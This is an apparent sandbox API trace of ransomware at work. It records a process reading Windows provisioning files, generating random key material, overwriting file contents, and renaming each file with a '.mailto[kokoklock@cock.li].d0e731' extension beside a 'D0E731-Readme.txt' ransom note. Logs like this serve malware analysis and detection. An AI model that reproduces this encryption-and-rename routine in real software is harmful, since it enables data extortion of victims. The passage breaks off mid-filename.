[0087.440] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2f4bf788 | out: lpFileSize=0x2f4bf788*=651) returned 1 [0087.440] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x287, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.440] ReadFile (in: hFile=0x3d0, lpBuffer=0x2f4bf75c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f4bf758, lpOverlapped=0x0 | out: lpBuffer=0x2f4bf75c*, lpNumberOfBytesRead=0x2f4bf758*=0x4, lpOverlapped=0x0) returned 1 [0087.442] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.442] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc340 [0087.442] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2a0 [0087.442] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc200 [0087.442] NtQuerySystemTime (in: CurrentTime=0x2f4bf734 | out: CurrentTime=0x2f4bf734*=132121176453428849) returned 0x0 [0087.442] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0x4afdaa53 [0087.442] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0xb68cebb7 [0087.442] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0x4b56c245 [0087.442] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0xdbce51f [0087.442] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0x595cd6b8 [0087.442] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0xf9deefbb [0087.442] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0x6a8e539f [0087.442] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0xd5ce015d [0087.442] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0x66e7666 [0087.442] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0xfc545b1c [0087.442] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0xa612cc45 [0087.442] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0x4edd309c [0087.442] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0x6d1eb33d [0087.442] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0xe7a30a9d [0087.442] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0xe735f79e [0087.442] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0xedb0c5a3 [0087.443] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0xcd6d4f3d [0087.443] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0x1c8b57bf [0087.443] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0x6f905c6a [0087.443] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0x8a2958eb [0087.443] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0x512a689a [0087.443] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0x3e29c03e [0087.443] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0xd097da7b [0087.443] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0xf0d5432c [0087.443] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0xb6c7671c [0087.443] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0x1e9bdfcb [0087.443] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0xc0f1903f [0087.443] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0xf88f3663 [0087.443] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0x67210c6 [0087.443] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0xf2df1fd [0087.443] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0xc6f13a79 [0087.443] RtlRandom (in: Seed=0x2f4bf740 | out: Seed=0x2f4bf740) returned 0x75dd1e21 [0087.454] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x28b, lpNumberOfBytesRead=0x2f4bf734, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2f4bf734*=0x28b, lpOverlapped=0x0) returned 1 [0087.454] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4bf6fc | out: lpNewFilePointer=0x0) returned 1 [0087.454] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x28b, lpNumberOfBytesWritten=0x2f4bf730, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2f4bf730*=0x28b, lpOverlapped=0x0) returned 1 [0087.454] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc250 [0087.454] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc278 [0087.454] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc278) returned 1 [0087.454] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc250*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f4bf72c, lpOverlapped=0x0 | out: lpBuffer=0x55dc250*, lpNumberOfBytesWritten=0x2f4bf72c*=0x20, lpOverlapped=0x0) returned 1 [0087.454] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc250) returned 1 [0087.454] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.454] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.454] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.454] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.454] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc228*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2f4bf758, lpOverlapped=0x0 | out: lpBuffer=0x55dc228*, lpNumberOfBytesWritten=0x2f4bf758*=0x8, lpOverlapped=0x0) returned 1 [0087.454] WriteFile (in: hFile=0x3d0, lpBuffer=0x2f4bf770*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f4bf758, lpOverlapped=0x0 | out: lpBuffer=0x2f4bf770*, lpNumberOfBytesWritten=0x2f4bf758*=0x4, lpOverlapped=0x0) returned 1 [0087.455] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f4bf758, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2f4bf758*=0x4, lpOverlapped=0x0) returned 1 [0087.455] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2f4bf758, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2f4bf758*=0x6c, lpOverlapped=0x0) returned 1 [0087.455] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f4bf758, lpOverlapped=0x0 | out: lpBuffer=0x55dc2a0*, lpNumberOfBytesWritten=0x2f4bf758*=0x20, lpOverlapped=0x0) returned 1 [0087.455] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f4bf758, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2f4bf758*=0x4, lpOverlapped=0x0) returned 1 [0087.455] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc2a0) returned 1 [0087.455] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc430) returned 1 [0087.455] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc228) returned 1 [0087.455] CloseHandle (hObject=0x3d0) returned 1 [0087.455] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x184) returned 0x33fc9c8 [0087.455] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml" [0087.455] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.455] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\168__connections_cellular_tigo (guatemala)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\168__connections_cellular_tigo (guatemala)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.456] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.456] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.456] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.457] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.457] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.457] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.457] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.457] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.457] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b77d8) returned 1 [0087.457] RtlExitUserThread (Status=0x1) Thread: id = 1361 os_tid = 0x1144 [0087.458] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\169__connections_cellular_tigo (guatemala)_i1$(__mvid)@wap.provxml")) returned 0x20 [0087.458] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.458] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\169__connections_cellular_tigo (guatemala)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.459] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2f53fa18 | out: lpFileSize=0x2f53fa18*=650) returned 1 [0087.459] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x286, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.459] ReadFile (in: hFile=0x3d0, lpBuffer=0x2f53f9ec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f53f9e8, lpOverlapped=0x0 | out: lpBuffer=0x2f53f9ec*, lpNumberOfBytesRead=0x2f53f9e8*=0x4, lpOverlapped=0x0) returned 1 [0087.460] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.460] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc340 [0087.460] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2a0 [0087.460] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc228 [0087.461] NtQuerySystemTime (in: CurrentTime=0x2f53f9c4 | out: CurrentTime=0x2f53f9c4*=132121176453600950) returned 0x0 [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0xcd6d200d [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0xd64e5d30 [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0xfe18afbd [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0x345cf34c [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0x5090f9c6 [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0xf711f8de [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0x1264c782 [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0x22d41b00 [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0x9ca6677f [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0x32d0b8a3 [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0xcff6229e [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0x93daa6fe [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0x8ad44d0a [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0xa878b8b2 [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0x7261fe05 [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0x1407cb53 [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0x54d18ab7 [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0xefe02b41 [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0x1435fd7a [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0x5cf51adc [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0x87055ad2 [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0xfbb48742 [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0xe64ab5cd [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0xa173a28 [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0xe4a7c600 [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0x2f472d72 [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0x30dc3344 [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0x95764ccb [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0x106d5ced [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0x22ea7b9c [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0x9dd1085b [0087.461] RtlRandom (in: Seed=0x2f53f9d0 | out: Seed=0x2f53f9d0) returned 0xc61699b8 [0087.472] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x28a, lpNumberOfBytesRead=0x2f53f9c4, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2f53f9c4*=0x28a, lpOverlapped=0x0) returned 1 [0087.472] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f53f98c | out: lpNewFilePointer=0x0) returned 1 [0087.472] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x28a, lpNumberOfBytesWritten=0x2f53f9c0, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2f53f9c0*=0x28a, lpOverlapped=0x0) returned 1 [0087.472] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc278 [0087.472] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc340 [0087.472] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc340) returned 1 [0087.472] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc278*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f53f9bc, lpOverlapped=0x0 | out: lpBuffer=0x55dc278*, lpNumberOfBytesWritten=0x2f53f9bc*=0x20, lpOverlapped=0x0) returned 1 [0087.472] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc278) returned 1 [0087.472] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.472] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.472] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.472] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.472] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc250*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2f53f9e8, lpOverlapped=0x0 | out: lpBuffer=0x55dc250*, lpNumberOfBytesWritten=0x2f53f9e8*=0x8, lpOverlapped=0x0) returned 1 [0087.472] WriteFile (in: hFile=0x3d0, lpBuffer=0x2f53fa00*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f53f9e8, lpOverlapped=0x0 | out: lpBuffer=0x2f53fa00*, lpNumberOfBytesWritten=0x2f53f9e8*=0x4, lpOverlapped=0x0) returned 1 [0087.472] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f53f9e8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2f53f9e8*=0x4, lpOverlapped=0x0) returned 1 [0087.473] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2f53f9e8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2f53f9e8*=0x6c, lpOverlapped=0x0) returned 1 [0087.473] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f53f9e8, lpOverlapped=0x0 | out: lpBuffer=0x55dc2a0*, lpNumberOfBytesWritten=0x2f53f9e8*=0x20, lpOverlapped=0x0) returned 1 [0087.473] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f53f9e8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2f53f9e8*=0x4, lpOverlapped=0x0) returned 1 [0087.473] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc2a0) returned 1 [0087.473] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc430) returned 1 [0087.473] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc250) returned 1 [0087.473] CloseHandle (hObject=0x3d0) returned 1 [0087.473] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x184) returned 0x33fc9c8 [0087.473] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml" [0087.473] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.473] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\169__connections_cellular_tigo (guatemala)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\169__connections_cellular_tigo (guatemala)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.474] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.474] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.474] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.474] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.474] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.474] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.474] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.474] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.474] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b7930) returned 1 [0087.474] RtlExitUserThread (Status=0x1) Thread: id = 1362 os_tid = 0x1150 [0087.475] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus 